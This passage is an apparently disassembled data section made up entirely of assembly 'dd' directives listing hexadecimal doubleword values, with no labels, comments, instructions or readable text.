		dd 0A32204A1h, 11AE5FCFh, 3FBDDA1Dh, 9C3013C9h,	0CDD949B5h
		dd 0D22B5B00h, 98D38060h, 6FBE5100h, 5A477C9Eh,	0DB3F9761h
		dd 0E9921991h, 0A0FD19C4h, 1C634B70h, 0D14F0077h, 4DE6C418h
		dd 94DD8036h, 77894BC9h, 2E615D69h, 98EFB825h, 9D2F334Ah
		dd 8A7682E1h, 697A5CDCh, 0D1798558h, 0BF791597h, 894DFAADh
		dd 317FCEC0h, 0A2294A2Ah, 0B028002Ah, 5C40023Eh, 0E3A706E7h
		dd 0D6A1B51Bh, 98123120h, 459D1233h, 0E300B816h, 6E4D5E4Ch
		dd 8DEA6039h, 120AFC6Fh, 0FF29C9C2h, 4A1CB9D8h,	0CD31FE98h
		dd 742E1841h, 0C712AB66h, 0E1FF6CC0h, 48C609BBh, 41710213h
		dd 0B252C544h, 89D38836h, 1971FD8Ah, 0DEBA8E45h, 0C270C15Fh
		dd 0F9ECD4A7h, 0B9BC18EDh, 0E09EE095h, 5C9D092Dh, 0B96096F9h
		dd 138FB8CAh, 0BE42B6BEh, 4BACC534h, 0B929C44Ah, 6DB828h
		dd 39985A8Bh, 0D9415608h, 1C91354Bh, 5FC20165h,	907024FBh
		dd 0F9423ED0h, 0BEAC2C39h, 0A65089Ch, 0C220902Dh, 0E68003DBh
		dd 75F47B71h, 0C4BEADB8h, 0E1F73C05h, 52EE05EEh, 8864FE8Dh
		dd 2D98DEAh, 0C57F23AEh, 58E3A38Ah, 0DB00A52Bh,	0AF2CD23Dh
		dd 194A1CDDh, 68F898B3h, 9000C2B9h, 17FEBE60h, 0D81028B1h
		dd 614AD05Fh, 0DE600FC2h, 0D7AF6FEDh, 0E265FAB7h, 765AE0BEh
		dd 0F6DCEF00h, 2597738Fh, 5B39065Dh, 3CF22A60h,	0FBDD019Fh
		dd 3B8013E9h, 4736AA0Fh, 0A500112Fh, 202D6759h,	5608AE5h
		dd 0DA15E043h, 7DF0FEB1h, 68164069h, 0A0562F09h, 0F7129A55h
		dd 0B573DFC0h, 417D6901h, 4CE2F3B6h, 0C268883Ah, 48006CF8h
		dd 7243AA2Ah, 9521AB47h, 0D01C3352h, 0CEA4BF55h, 0C4CAFCA5h
		dd 0F8C74310h, 66DDE0C3h, 8B940786h, 0A31E0403h, 0FF85A9B7h
		dd 5C5EA9Dh, 6F01F511h,	0AA1F867Ah, 0C4D75D60h,	0B86FF974h
		dd 0AC29D19Eh, 127C9099h, 0AD28C995h, 8C16BCE1h, 0C49F0FBFh
		dd 0D0C2DECFh, 2DBC5C42h, 1EF65CDCh, 808A2970h,	0AB0B1B89h
		dd 0D0BA5305h, 2528D195h, 2EBFFDh, 3C4F0898h, 19026F50h
		dd 89B0B3D0h, 7017D306h, 2F070EE2h, 1FBF66DEh, 0C8F73399h
		dd 4B45FA80h, 0BDCE847Fh, 53AC4B1Fh, 0AF4DA981h, 78A26F94h
		dd 61939E02h, 0DD4283E0h, 0B7555489h, 0E736802Ah, 7BD3E0D1h
		dd 6561FE16h, 8CBE4613h, 6806F8BCh, 0BD01CF77h,	0E0FE5A9Eh
		dd 3416888Fh, 0D7F6431Dh, 0F6C035E3h, 9D2F3160h, 0C0295DB1h
		dd 1D5BFF7h, 820F36E2h,	3DED2E89h, 3C90902Fh, 0FE09A60Ch
		dd 0FD5017E6h, 0DB029B4Ch, 0F7809009h, 0BACD7FC2h, 295369h
		dd 9A12F958h, 93BA9491h, 614EB67Ch, 0D1E0D7B6h,	0BE12FFFEh
		dd 0FB009A26h, 0DAAA23C9h, 10D99617h, 0DC61271Bh, 550C6C16h
		dd 7EFE254Bh, 90D84F5Bh, 0B8C802C1h, 10616303h,	1E844062h
		dd 0F57EA0A2h, 0D0CE084Ah, 67474E37h, 600DBC8Dh, 0DE04CDA6h
		dd 7DD7CC9Ch, 0C58042ACh, 44331D16h, 5BFDE107h,	8471DD64h
		dd 48A76178h, 0D3F5B87Dh, 0DF93079Ch, 1FF46CC9h, 0A5182DABh
		dd 74952159h, 1385508Dh, 0DFFAF1BFh, 6058F62Bh,	78A50776h
		dd 0A03E6F9Fh, 0BD8B7B67h, 9510DD4Ah, 0C41D04E5h, 0C2B862FBh
		dd 0FB5766A2h, 364D101h, 16F09AF3h, 59283845h, 0DDDC89h
		dd 142CB1B0h, 33C05FDFh, 0ECCA80B3h, 9742E75Fh,	0C2B0E9F5h
		dd 0FFCA2CDFh, 1591D2B5h, 8B10F082h, 5DAA92D5h,	87254E0Bh
		dd 0ACCCBA56h, 2785B85Fh, 0AB77FE8Ah, 0C4F07EA8h, 0AAD4EF9Dh
		dd 39A0DCFBh, 0AEE92C5Bh, 80BE2DBDh, 77FC6A65h,	8B430BD0h
		dd 0BE82BBD8h, 1A612D0Fh, 3AD5C295h, 5DE4F3h, 4D63CF57h
		dd 0DC9C0ED1h, 17E9AD00h, 7413793Ah, 0A34978B2h, 0B7DD815Bh
		dd 0FF4DFAF3h, 1FD4F1B2h, 0D4294240h, 5BDD2D6Fh, 0F912D953h
		dd 0BF0357E3h, 91C014Fh, 469AFFE4h, 302B99D2h, 2000CC5Ch
		dd 1C870E0Ah, 655230D4h, 0A35B7666h, 0C2831664h, 4BF05CA6h
		dd 8E0ECD97h, 0A4D1BF36h, 6BB8291Ch, 7B02846h, 482582A8h
		dd 31321090h, 703E00AEh, 7F438DEDh, 640EF45Ch, 29C406E4h
		dd 70695CD2h, 5D02D68Fh, 0A416FAECh, 0F95D32C1h, 9EDA27B9h
		dd 48B2E317h, 26E9A605h, 23066FABh, 0E8911314h,	6415205Fh
		dd 0FF010E57h, 71AD1294h, 258C15ACh, 7CFEF0E2h,	0D530B7C2h
		dd 0F2D0F47Bh, 0E09F00A3h, 33A64BD1h, 94982327h, 90890552h
		dd 1A9913A2h, 212DE6A2h, 25C4B77Fh, 21ACD530h, 253623Ah
		dd 5C0D3FA9h, 51895CE2h, 0FB32A568h, 8BD07B97h,	0F20774D3h
		dd 41A19B51h, 14E89651h, 62CA9E10h, 69AE38h, 6785FA15h
		dd 9744C9h, 70EE92FCh, 0E9B07BBDh, 15F0C44h, 2AE769FFh
		dd 0D852360Fh, 0D6097CFCh, 0B256505Bh, 605C5675h, 0BB52965Fh
		dd 78F6FA0Fh, 9FB21539h, 0C2BE70Dh, 0C867DA7Fh,	0B09CB15h
		dd 974AE4FFh, 1759ADF3h, 16033718h, 0F4BF7D9Fh,	94444B76h
		dd 0E8DAB901h, 4963036Bh, 9529027Fh, 215E31AAh,	7CC26B71h
		dd 0F99DF479h, 985A4B1h, 385522ADh, 2680607Fh, 15C561CEh
		dd 70779A45h, 197395C6h, 1B1E778h, 65D24C13h, 3A0360B3h
		dd 0E6FE9085h, 736125E7h, 1814D9A7h, 20D490A8h,	0BB0505B9h
		dd 486FD70Dh, 7E0BC9FFh, 0B0C02EECh, 8B7833ECh,	0B073C156h
		dd 18A5A4Dh, 701E336Fh,	7DE9FA8Bh, 0A4450732h, 10A23FDh
		dd 39E930D6h, 815AA4ADh, 836AE200h, 0C533BD4Eh,	0FD770E14h
		dd 4800A37Eh, 0A2DC6FB0h, 0C8307B00h, 73FC7417h, 430D00DEh
		dd 10D86BB6h, 900033E4h, 16A19ABCh, 0EC94C36Ch,	0E7F808h
		dd 0D6518C6Dh, 14DF965Eh, 6AA5FD00h, 0FCA77EFAh, 0A36500D9h
		dd 354D598Dh, 0C000696h, 0B76890EFh, 9812A09Fh,	3ED300FAh
		dd 0CD76409Ch, 0A03AD62h, 2B8A7527h, 0AF3E00F9h, 5BD58087h
		dd 0C1007E93h, 0BC73A64Fh, 0C6B944h, 9B2BE43Dh,	0A754CC43h
		dd 0E9C57A00h, 0DE518873h, 0C875BCh, 6BAB6FF3h,	0F09344B0h
		dd 5FA6A000h, 0E39958Ah, 2EF30006h, 0C019E26Ch,	0B000774Fh
		dd 0C71ADF69h, 32FD848h, 0A31145FAh, 97BE8671h,	8CBBB300h
		dd 5F677ADAh, 0C60E00D8h, 0E5421552h, 3600CF33h, 0D3546C4Fh
		dd 459861h, 0DC62EA6h
		dd 0B0697312h, 7D7744CEh, 5C8EA9C0h, 4F019388h,	3FCA905Eh
		dd 2D0CE237h, 2E665562h, 89EA47h, 6D2623BCh, 0D0EC77D2h
		dd 8F82AA00h, 481E09CEh, 27C01808h, 1664E63h, 363FE08Bh
		dd 0AF3B00F3h, 0E4E3EE6Bh, 4C00856Eh, 0FC09FB34h, 1A6F629h
		dd 0F811DA74h, 80978453h, 39EE0474h, 9C037h, 2A1BE3CFh
		dd 9788A06Ah, 0F478B00h, 57F429D4h, 0BC51139Dh,	3B1C07EFh
		dd 0CE37B2E6h, 0B00441D7h, 451A9C8h, 130CC52Eh,	0FC2D8C83h
		dd 25F60400h, 22F17AEAh, 0F15E6079h, 7FB0C8E2h,	0BB768500h
		dd 1C770F27h, 82DA3FD2h, 15100FBh, 84CC5868h, 0C739935Ch
		dd 0A2FAA987h, 0E45DC15h, 0E02718C1h, 94649FF7h, 79B8484Bh
		dd 9845B500h, 5B8DCF40h, 0B66052h, 0E66ED9D5h, 57C811h
		dd 40FF12DDh, 39F62BD0h, 5BBB6F00h, 4EB0E202h, 37426095h
		dd 0A77BACC6h, 7AA56F0Ah, 1508C3A8h, 48F9952Dh,	0BD1FC20Fh
		dd 0DEB168E6h, 458D4D07h, 12826A8Eh, 0E3D880FCh, 0DF57652Ch
		dd 81D1C15Dh, 88A5A05Bh, 0A001EF58h, 0E03900B9h, 14C9352Fh
		dd 0F9073E86h, 4667A333h, 0A1F5A021h, 60669DC8h, 0CF48FA90h
		dd 0A1C7C5Eh, 0F898FFD8h, 7946162h, 47F4CE41h, 0E329A72Fh
		dd 0E3D8AECCh, 4C079169h, 0F209C3D3h, 8AA2F0F0h, 0FA7E0008h
		dd 392BE621h, 4B3F18CDh, 10C98059h, 9ED11D17h, 0D81E0255h
		dd 3C34EB03h, 0CC67860h, 162EE300h, 22617619h, 0DC9415BFh
		dd 1D81B210h, 2090E929h, 20020E2h, 0EF91AE3Dh, 4A1C0Bh
		dd 5027CF0Ah, 8F5C74A9h, 0E439C514h, 2D007D43h,	241C13CEh
		dd 150AD7h, 0C29BFB1Fh,	853C9444h, 0F0067900h, 0B04F6651h
		dd 48D3F6BEh, 29004CDBh, 5DEEFFC7h, 0AE3E84B4h,	0ECFC1840h
		dd 900C7C24h, 8E0FD48Eh, 51D612h, 904DAC9Dh, 73268C97h
		dd 3A0A8B1Fh, 6280D102h, 814B175Ah, 311400B5h, 0C047D8F6h
		dd 0B4146F2Dh, 0B26CE6h, 0DF51CEE4h, 2A21C217h,	7B05FA7h
		dd 0D5E926FBh, 0DB75A052h, 4A1EFD1Ch, 36C422CAh, 2080DE72h
		dd 18CD9EB3h, 7E8CD912h, 0E141D4h, 0BF4786h, 35AF7088h
		dd 0D1C31BC6h, 8A2FE604h, 64C03C09h, 0E25484h, 0A3649E39h
		dd 1F08220Dh, 65714418h, 0B86010h, 0C85DD958h, 892611CAh
		dd 4BBC0902h, 68973E19h, 3E131BF3h, 7A8C2514h, 0E781838Bh
		dd 6DB676A8h, 0F9353481h, 1202EE4h, 0D156BD9Ah,	0BAC22A1Ah
		dd 1FF8053Eh, 0B400C1B8h, 74012238h, 54F601ABh,	0E153D4ECh
		dd 0DD63015h, 25F40300h, 91964BAFh, 0E65E31CEh,	0F06DAD36h
		dd 0CD3E06EEh, 0A449003Eh, 0E4980DF6h, 5C9B00DEh, 9F67D956h
		dd 811FD54Ah, 0C6DD8B53h, 0A1E42582h, 715B6066h, 547F0Fh
		dd 18DDEF3h, 0CD4A22E5h, 1C75822Ch, 850063A8h, 38F72ACFh
		dd 7C40526Ah, 0FEF20197h, 0EBB8B294h, 0F824CC7h, 38C36424h
		dd 2ECB8BAh, 0A09BCDCFh, 95AEC815h, 6AAE4999h, 0BB14616h
		dd 46001F97h, 7C42E89h,	6F0E3DB8h, 0C0837DB2h, 5EF26EA1h
		dd 0F59914F6h, 0D207A501h, 50E26A39h, 334B9663h, 1EE76100h
		dd 0C97E54CBh, 0E5122602h, 5026FFh, 46AAA73Fh, 0EE3EA130h
		dd 6C00741Fh, 7F21B1A0h, 0DE6D3184h, 9DB5000Eh,	659CF4AAh
		dd 0A7449901h, 0FDD883F5h, 717D3181h, 805D7823h, 56D1DD33h
		dd 0FD16DEh, 4B1C07DFh,	6AEC2A8Ah, 99DBD49h, 0C62F4Eh
		dd 0B96E86D7h, 84DBB4CEh, 86B36CDEh, 0A40F4CE2h, 0E031998Eh
		dd 1C353FF1h, 0C5EE23h,	0D4251F10h, 0D51E1609h,	11033C0Bh
		dd 0F16E20E9h, 1F32Ch, 78E827FAh, 6EE65982h, 0DD528700h
		dd 0E38953D3h, 5DC35B81h, 6EB94F5h, 7228726h, 4A0C895Ch
		dd 14435C16h, 29238388h, 5096BB00h, 904352FCh, 5856F634h
		dd 0DA18F5DCh, 0C4832C8Bh, 0EC730473h, 0E1CDE3F7h, 592C03AFh
		dd 0E940464Bh, 8152CB01h, 7D24012Ch, 8F020E2Ah,	695E703h
		dd 7E8B5B08h, 0AAE566CFh, 40BB52C5h, 818B812Ch,	0E68956CAh
		dd 0DA0DC681h, 0E9003404h, 0FFFB71E3h, 2DB83800h, 307200Bh
		dd 1FE0F2C5h, 4321AAA1h, 50883A46h, 7E940DA0h, 70A6ED00h
		dd 0BAF31319h, 0FA683E71h, 0B6C74580h, 81AF0B23h, 4E156A0Fh
		dd 697880A8h, 10E40Ah, 399234E0h, 14E6E23Bh, 0D9A7AD03h
		dd 0F8BE9E62h, 0B5828h,	632224C2h, 0E2BD748Fh, 2511F300h
		dd 4B1B9475h, 65B800C3h, 38F690AAh, 1690ED1Ah, 0D0CD8A1Eh
		dd 1BDE2F1Fh, 30BCDAC0h, 2DA4236Eh, 2D6D60FFh, 60601C64h
		dd 4C029951h, 0FEE8AB70h, 4F8EF5B0h, 0F900430h,	0B7420281h
		dd 9DE250EAh, 0AEFEF685h, 7A809D9Eh, 3CCF6A96h,	75ECD04Fh
		dd 0F272920h, 0D8CB298Ch, 0C765B73Ah, 0BD2B0BB8h, 6E150ADh
		dd 0CFA65ABBh, 37D1A32h, 0A20DC52Fh, 890EA3CCh,	3C84D5FDh
		dd 0D17BF4E1h, 7C027697h, 1BC5B79Ch, 64B277AAh,	0AE4DAA9Dh
		dd 812ADC80h, 6ADAE0A6h, 0AFE8B5E9h, 0D6CCC725h, 0BE7EA579h
		dd 0F408562Dh, 89E47402h, 5528A585h, 0BFDC6BDCh, 0F7AFE730h
		dd 621BDA00h, 0BD33F595h, 0F6355B21h, 3019F2ECh, 0D02128Ah
		dd 0FF547B11h, 70A07BD1h, 6CB7BCD3h, 2939B5C4h,	70DE7BBAh
		dd 0D2EB9BC0h, 0B500A4BAh, 3F925FF4h, 5ED48060h, 0B5A0611Fh
		dd 61BC5245h, 0E48FD360h, 6A4BFC09h, 0C0BBED02h, 0EA90F9F6h
		dd 8D294805h, 75EA227Dh, 8FB2EFh, 6DCE6A5Fh, 0E4EF131Ah
		dd 694B0092h, 0EBDD5BBh, 66BE9D70h, 40D9B240h, 13F87A8Dh
		dd 0BE1D38B4h, 9DDCB04h, 0FA7ABFh, 31DF0B9Fh, 0FCC0BF8Ah
		dd 0E93413E8h, 0E2DEA862h, 0F5DE4AADh, 895BF309h, 3886ED70h
		dd 2FF546A1h, 41536813h, 0D624F6ADh, 7124495Eh,	0DB8FE4AFh
		dd 58883201h, 5B4A5F5Ch, 2926AC4h, 0F75BF50h, 0C8AE6E16h
		dd 6C57B7CBh, 0B503F238h, 0AED61776h, 0B3390E98h, 0CFC2D4F6h
		dd 0A057DE8Bh, 0A243EBC9h, 0BA7B4E2Bh, 2B97AE34h, 10805EABh
		dd 0B52D7712h, 856E2FE9h, 4DAC012Dh, 792950A2h,	1263007Fh
		dd 0DEA3234Ch, 0DD2A6D00h, 0E6D3FD29h, 9EC00492h, 0C04FB6B5h
		dd 0B0365289h, 0B4732095h, 1370E6F4h, 41F98D89h, 3171E4EAh
		dd 240AC995h, 0CD25B5D3h, 13935D1Fh, 0AB16BE97h, 0BD099E60h
		dd 2F284131h, 0BC2E8CDDh, 30AE97C1h, 35DDB5F4h,	16805180h
		dd 0B05B18E3h, 9DFC0922h, 0F9970D7Eh, 8DD49BBh,	0DA17E6EDh
		dd 0B30341BAh, 0A5C3E9F5h, 403F5427h, 0F675115Fh, 0E1FB3600h
		dd 0AE28350Ah, 7A1313F7h, 80F5AC60h, 3CE51A27h,	71120086h
		dd 112B5DCFh, 93015929h, 0D05E3A6Ah, 43780960h,	4D5061C9h
		dd 81DFC2B7h, 3379BDFCh, 9323EC2Ah, 0E0129E36h,	0DD1BD8Bh
		dd 0E2A23312h, 308FA52Ah, 311761E9h, 1A4F8DB5h,	3A8017B9h
		dd 91279CA7h, 48CE9F00h, 7AD3F14Ch, 1FCC00E4h, 606AFE42h
		dd 2C0AC081h, 982378AAh, 6AA8AA35h, 745CBFC0h, 8BB501ACh
		dd 962FD969h, 5164B6FCh, 16456B00h, 77169589h, 0E1291263h
		dd 8A3A0905h, 8A4716BDh, 0C0FA9BFAh, 0D868EE5Ah, 8E513C6Fh
		dd 348195D0h, 0AC531B0Bh, 6D3180FCh, 0B9D6D3h, 945FA69Fh
		dd 9124A712h, 88D2F395h, 199118EDh, 0F2EF8107h,	0EE33E5F0h
		dd 0F7C1519Eh, 3FFCC71Fh, 0CDAB28C5h, 2BFAE085h, 0CBDBD24Ah
		dd 0A822280h, 7FE95468h, 0BC6E428Dh, 4AEF4BEh, 52880D48h
		dd 5B7AA6B0h, 9861BA6Ch, 430E22C5h, 2884F053h, 796D0327h
		dd 5D9D33ECh, 0BD8EAFBCh, 68801288h, 6A19F9E1h,	0A0B500B8h
		dd 4FB926EFh, 0DF0C20E7h, 0B8AC1AFCh, 2FF19D0Dh, 7BEFA9E5h
		dd 0AD2A1338h, 8600F5E2h
		dd 0E62E16F4h, 6909B607h, 77B87838h, 0EFC21CCFh, 29A540A7h
		dd 0EC38B503h, 0FF2567B3h, 0C05FCDE1h, 576A0E37h, 56502D02h
		dd 0DEE46CD9h, 0AE301287h, 0EF47CCh, 79013164h,	0B634C0C8h
		dd 2B192800h, 18ACB4BDh, 4A8E24D9h, 4B351337h, 2D595FD1h
		dd 75046C42h, 0BF00DE3Dh, 947C5A27h, 99E50979h,	10770838h
		dd 935B1BFh, 66A0362Dh,	51C2895Dh, 0FCCABBDAh, 43FB105h
		dd 1707A2Ah, 8CC93F05h,	5960262Bh, 0BD13E1F5h, 6B3BBBCh
		dd 0A997CF8Eh, 0CCE824h, 5F5753F1h, 6C1EBB60h, 6220312Dh
		dd 0A4293564h, 91B4B17Eh, 8501000Dh, 0B59292DDh, 8BED8E0Bh
		dd 8D0179C0h, 9D0CBA09h, 3845EDBh, 2A3D119Dh, 15A004B6h
		dd 5E0996F6h, 77B44394h, 94E0116Fh, 50C996BBh, 0FF9D8DA5h
		dd 0AFD8004h, 574E9A6Fh, 9B3CB81h, 0D93AE43Bh, 0F824DB9Fh
		dd 5A5CE2E9h, 8F4CC0D4h, 0BA1769h, 2C1F16B7h, 0AC22A18Ah
		dd 87B46E02h, 0FF8D9052h, 940074BDh, 0C1364C97h, 390D2F4Ah
		dd 0D800E1FEh, 0BEDE0C68h, 16589589h, 61CBDEC5h, 7CF31CA0h
		dd 9B765A25h, 0AC582D8h, 0FAAB8931h, 52D395A7h,	0EB191859h
		dd 0DA999F99h, 0EF83CC77h, 0B7E922C2h, 0DF803C48h, 7FAF7D5Ah
		dd 65FE5FB5h, 1D7C81DBh, 6B746B25h, 31A309FFh, 9482965Fh
		dd 1005D4CBh, 0F3795A92h, 5D2E2B8h, 0AF2AEDC4h,	0B25F418Ah
		dd 6891685h, 77E045F6h,	1E01EDF3h, 0E176D44Ah, 0FDE5BB66h
		dd 0C81FDA3Ah, 0F1A2CF15h, 1C64850Fh, 164910B5h, 62DB0094h
		dd 0C9E21ED5h, 0AD057C09h, 2E454A89h, 0B772D3EEh, 25555B9Ah
		dd 84EACE8Eh, 5BF6AA38h, 2F7172E0h, 4DCC9B5Ah, 3DBD1629h
		dd 0F5E6FC1Fh, 65458Ch,	0F9684534h, 0F0E22F82h,	0BCD39300h
		dd 40CF3EA7h, 5FC213E3h, 832CBE50h, 58FE258Ah, 12DCF374h
		dd 0AE858D64h, 6B9028h,	0CF9E3AAAh, 0AD4039A0h,	57108502h
		dd 7556DA13h, 467F0CCAh, 71A0F6DBh, 0E51C00C6h,	0F02B76CEh
		dd 600BDBE2h, 0DCDE8BAAh, 0A9E4A7A5h, 0DF56EE04h, 0E299BF92h
		dd 0EBED5660h, 30296101h, 0B6B528C6h, 0D4659E12h, 6ACB7EBFh
		dd 2D8D0B74h, 16C40C59h, 0CC92A056h, 0DF013574h, 371D081Eh
		dd 0CA2E21E9h, 0C6E35BDBh, 9B2B12BAh, 0AAB807F9h, 0CD65CC01h
		dd 0FCBC9E4h, 17CA286Ah, 0AEE7045Eh, 0A98242A2h, 0CC9E0975h
		dd 2552882h, 40D813Dh, 0AEFD1331h, 0AA4DAC5Ah, 4E43B16h
		dd 0BB274537h, 0DA9699A2h, 41AD80C4h, 0F195C6h,	20E6C1BAh
		dd 5CCB8150h, 53AA1316h, 0F92D51A6h, 0D4BB0C6Eh, 0E94F50h
		dd 3F9A28E1h, 20F059F4h, 7625B5B4h, 0B8BE60E4h,	9200D3A9h
		dd 2CB6800Bh, 2EE67653h, 0A557FC1Fh, 776112DFh,	0C89D48D8h
		dd 16CFBFC0h, 0F97F033Fh, 0ACE580BEh, 0D4193Bh,	51CB2B9Fh
		dd 470ECA52h, 5B1DB713h, 0F790AABCh, 0F650DD25h, 0A643EDB7h
		dd 0FE9DD6F0h, 0F98A8BBCh, 0B682B679h, 0B02E48D0h, 9D5F56B9h
		dd 1A64814Dh, 4588E560h, 0CF176409h, 0CAB50223h, 2D25D6B4h
		dd 7DD830DBh, 8D312D21h, 7D038BD7h, 1A9C2A35h, 49004238h
		dd 90EC53A2h, 8AB5B007h, 4DE3434h, 29F4CF92h, 30F4AB66h
		dd 605C25B7h, 0F5729157h, 0A5CE8DF5h, 5EEA61E9h, 89D887Fh
		dd 0B5677052h, 55FC0C29h, 0BDBE12F4h, 0A39BBB29h, 0BBD3DCCFh
		dd 0F789DF62h, 0F3803C90h, 61ADA45Eh, 0DF89D8Fh, 3E0BBF50h
		dd 0A17FC7F0h, 0D9950131h, 0C548F92Eh, 5C13820Fh, 0D76D20BEh
		dd 0C74B198Ch, 841B24FBh, 6C49AE4Ah, 0D670D45Bh, 0C4011946h
		dd 21BBA73h, 0E4286A3Bh, 0DC8A8829h, 0BBD8F2BDh, 3B5F727Ch
		dd 0DCFF5AABh, 6F09F1C7h, 98663470h, 3DF3CA50h,	0E4805E36h
		dd 602ADE16h, 7A13D723h, 8EAE5B10h, 20BD5082h, 8D987650h
		dd 6EBB355Eh, 80A45D40h, 90939FCCh, 7B14B564h, 6AE17570h
		dd 0EFF0CEF6h, 0B05E716Dh, 0DA5E20A7h, 0CFB08135h, 45201A22h
		dd 67C689C1h, 5FE1B2C8h, 0ED09615Bh, 1EB65F16h,	40BAEDBDh
		dd 0A8E9A4F7h, 0FC07629Dh, 4CB5DCBFh, 336626CFh, 0C18B8922h
		dd 75CBE7CDh, 0EB81F0C8h, 7E2AE509h, 0A6C9713Dh, 0BB50008Bh
		dd 7B0532ACh, 0F02E7594h, 7243FC69h, 0BD15CC57h, 4D2DAB5Eh
		dd 0FE53EF24h, 0C2AB5834h, 0AC0C0AB9h, 201D257Dh, 5909B7FCh
		dd 0D4B1D414h, 9E28B8Eh, 891A61Dh, 5FE56D2h, 0C7473E6Ch
		dd 415F150Dh, 8AD78082h, 2D91996Ah, 69D4BF79h, 0BA6C4FF3h
		dd 47CE86Fh, 0B576F0DFh, 0C16EB8F9h, 24598D01h,	6E4C2D2Eh
		dd 1F0E426Ah, 4F23706Bh, 0C59BE734h, 21D1FFD1h,	51F57AABh
		dd 842EE62Bh, 4A400BE9h, 0A61F500Ch, 0F162DF09h, 6A990269h
		dd 0E068CD02h, 8B2208F5h, 3EC1FB4Bh, 6017BA9Ch,	55721B9h
		dd 0D42AD6BDh, 9B21456h, 0D47DE949h, 21877166h,	0A0906728h
		dd 4EC472Dh, 0BF49A384h, 6BF4BA09h, 41852629h, 0B557AF2Dh
		dd 0D8181791h, 0A20BAD93h, 0D66084CFh, 0F3816041h, 0D326B6DBh
		dd 0F508B64Ah, 90610B2Ah, 80D2E55Dh, 13389AC3h,	19253505h
		dd 718A09FEh, 2F70A537h, 5E4A1D80h, 51FC605Eh, 949737Dh
		dd 417674E7h, 5E252A5Eh, 0AD7FDCA5h, 827E2B3Ah,	38351AD7h
		dd 69D3DD34h, 2C481459h, 4B319733h, 0A0207E51h,	165BEBA2h
		dd 0EED8485Ah, 252B468Dh, 9030FF8Fh, 77D288DCh,	52D6BFC9h
		dd 0DBBFCABFh, 0D6FD8083h, 9D3A5B3h, 1B6BE8AEh,	0C7D8E885h
		dd 1632B4C0h, 0E61F1D30h, 33E5F626h, 0B5AEDE8Bh, 810033B2h
		dd 25FC79F7h, 72CC313Ah, 2811E44h, 36C298EFh, 987DB034h
		dd 5ACA539h, 0CDD457FBh, 0AF0C405Dh, 700196C3h,	8A8D3602h
		dd 575F5BFEh, 405D99EAh, 7F34DDF8h, 8952589h, 0E34A6CC6h
		dd 0ACA4F3F8h, 3DB5A066h, 604C840Dh, 8CC6C02Ah,	2EAC0DEh
		dd 6BE4B718h, 77C938C7h, 57B26B61h, 0C230ED10h,	555DB531h
		dd 15C6F7Ah, 0C0EBD38Dh, 5E98C712h, 6B92E930h, 657D8D09h
		dd 0BF852528h, 82498109h, 752E69EAh, 86268DD1h,	0FA3F6925h
		dd 80DBAC2Bh, 9A93E781h, 920E4BF5h, 0BD10254Bh,	563244E1h
		dd 5D60108Bh, 77602521h, 26FA7633h, 5184FF09h, 71610924h
		dd 259FA03Dh, 16DD21B1h, 0EC606767h, 0B92AB0DEh, 1116D196h
		dd 28BB6125h, 2042DD70h, 25807E40h, 40CC2DF3h, 0BF9B6020h
		dd 9BC0E8EDh, 9D89B2B4h, 8060ADC0h, 81CFC000h, 85445BE1h
		dd 0BF610515h, 8494470Fh, 0BC09A9DBh, 0C9F2417Fh, 41E96E05h
		dd 0BA67B9h, 0ED86A146h, 20558153h, 0D2A18C6Ah,	5A64B185h
		dd 2564C1B9h, 75B52429h, 91BD4327h, 87C50D4Ah, 4C4DC7EFh
		dd 225B713Ch, 0BB01DCE6h, 20672892h, 8C7E2BBAh,	0E2AB9714h
		dd 830FD208h, 7EBA4EB8h, 0CFAB49A3h, 4DD380C7h,	9048201Ch
		dd 2FB520C6h, 0AA71509Fh, 8171DD60h, 0BF5918F9h, 400FB26Eh
		dd 94171EBh, 99AFC104h,	11B602A1h, 79B2D375h, 74A05816h
		dd 0C3D6E326h, 6C56B513h, 0A21F8BABh, 0D8369014h, 0F07C978Bh
		dd 0FB252CA4h, 1DEA4A95h, 36EAD2F7h, 0DB12141Bh, 0D8EBE80Dh
		dd 0C42F5D2h, 8071DB4Fh, 2A0F23Dh, 0F1117C2h, 6718278Fh
		dd 560DBC87h, 6269F19Dh, 0BDF50552h, 0CCBB011Fh, 2EB757A4h
		dd 0D0404D28h, 0A538F95Bh, 1C268E4Bh, 7C2F04F7h, 0F72DDEA2h
		dd 0C4C0D687h, 96DBBA60h, 125FB789h, 15F424BFh,	884CB112h
		dd 28300912h, 895F9537h, 962E584Dh, 5F13DC34h, 92AEB7E9h
		dd 0D72AC539h, 2C1E1401h, 0B0C0BF5Ah, 841C4A0Ah, 6C7BBF55h
		dd 91D05500h, 0CE905D72h, 0D2F0BB18h, 9D33F1D8h, 21B99D4Eh
		dd 0E7820100h, 3899C63Dh
		dd 0CD04F1DBh, 0ABD28ED1h, 7DDE6922h, 906539F1h, 0F53AF1B1h
		dd 2AE3DEA9h, 8852EAD4h, 4F00CEE2h, 27411CC2h, 540382FCh
		dd 74C7E73Ch, 0DEE3C096h, 0BC51252Dh, 0AB0C8410h, 0F5026AFEh
		dd 5F463AC2h, 7373FF61h, 397C0370h, 3C82C2EFh, 8C63404Fh
		dd 1640C2E2h, 0DC95482Ch, 5100DE13h, 19BB803Dh,	952F75BDh
		dd 0BF02BF14h, 2AC47642h, 5D64150h, 0B866BB10h,	8B6FB570h
		dd 1E88E45Bh, 0FD2AEB8Dh, 0A157C080h, 81B1E5h, 3BDE090Bh
		dd 0F65FF8B3h, 873DD83Dh, 8B06E11Fh, 64B9B702h,	21BB0228h
		dd 5808D151h, 6700373h,	0F3B848D0h, 0E22AAD12h,	5A6BD387h
		dd 0E3F8B512h, 49BB0084h, 0E939F5D5h, 0BD027042h, 9DCDFF4h
		dd 0EF9D430Bh, 291242F4h, 0BDA02FECh, 74971499h, 5B8055BFh
		dd 471DC256h, 9D231A9Ch, 82DF5B85h, 2E26598Eh, 0B861CFE4h
		dd 0BD33C1BAh, 5A0A1EC1h, 0AF4F4EA3h, 0E250A37Fh, 84940B39h
		dd 3E370689h, 0D3D5E981h, 0A841901Eh, 54292D9Dh, 0BFA1B512h
		dd 6A2EEB39h, 31BE5FF4h, 2E379435h, 0BCFAA115h,	6EEE00C8h
		dd 0CCB5EC86h, 0CF4B5B1Eh, 0A9C15A12h, 0A81008E9h, 0D90403CEh
		dd 0ED71A0D7h, 0FB8B5EC1h, 2E5A892Fh, 0F95E496Eh, 9D2BC2A7h
		dd 0C02BCAADh, 2D9A2F14h, 98D72772h, 268F9EEh, 0DF29316Fh
